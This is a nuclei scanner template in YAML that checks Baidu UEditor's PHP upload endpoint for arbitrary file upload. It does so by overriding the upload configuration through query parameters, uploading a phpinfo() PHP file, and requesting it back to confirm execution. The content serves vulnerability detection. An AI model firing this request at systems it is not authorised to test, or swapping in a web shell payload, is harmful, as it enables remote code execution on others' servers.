mirror of
https://github.com/projectdiscovery/nuclei-templates.git
synced 2026-02-10 20:53:27 +08:00
70 lines
2.2 KiB
YAML
70 lines
2.2 KiB
YAML
id: ueditor-arbitrary-file-upload
|
|
|
|
info:
|
|
name: UEditor - PHP Arbitrary File Upload
|
|
author: ChiragArtani
|
|
severity: medium
|
|
description: |
|
|
Detects arbitrary file upload vulnerability in UEditor PHP by attempting to upload and execute a PHP file. This vulnerability allows remote attackers to upload arbitrary files including PHP files, potentially leading to remote code execution.
|
|
reference:
|
|
- https://www.rescuetime.com/focus/url/https%3A%2F%2Fwww.cnblogs.com%2Fzhibing%2Fp%2F16893839.html%23_4
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cwe-id: CWE-434
|
|
cpe: cpe:2.3:a:baidu:ueditor:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 2
|
|
fofa-query: body="ueditor"
|
|
vendor: baidu
|
|
product: ueditor
|
|
tags: ueditor,file-upload,rce,intrusive
|
|
|
|
variables:
|
|
filename: "{{rand_base(5)}}"
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /php/action_upload.php?action=uploadimage&CONFIG[imagePathFormat]=ueditor/php/upload/{{filename}}&CONFIG[imageMaxSize]=9999999&CONFIG[imageAllowFiles][]=.php&CONFIG[imageFieldName]={{filename}} HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDMmqvK6b3ncX4xxA
|
|
|
|
------WebKitFormBoundaryDMmqvK6b3ncX4xxA
|
|
Content-Disposition: form-data; name="{{filename}}"; filename="{{filename}}.php"
|
|
Content-Type: application/octet-stream
|
|
|
|
<?php
|
|
phpinfo();
|
|
?>
|
|
------WebKitFormBoundaryDMmqvK6b3ncX4xxA--
|
|
|
|
- |
|
|
GET /php/upload/{{filename}}.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body_2
|
|
words:
|
|
- "PHP Extension"
|
|
- "PHP Version"
|
|
condition: and
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
extractors:
|
|
- type: regex
|
|
name: vuln_path
|
|
regex:
|
|
- "/ueditor/php/upload/{{filename}}\\.php"
|
|
|
|
- type: regex
|
|
part: body
|
|
group: 1
|
|
regex:
|
|
- '>PHP Version <\/td><td class="v">([0-9.]+)'
|
|
# digest: 4a0a0047304502203d47a89b31d5b59fa470bb811f905ab84788d4e37dce0b89791951e8ed391d51022100ecadcd1d7dc5260c0644a784bd36455afcaf94c37a097ce70a991d71680be6b5:922c64590222798bb761d5b6d8e72950 |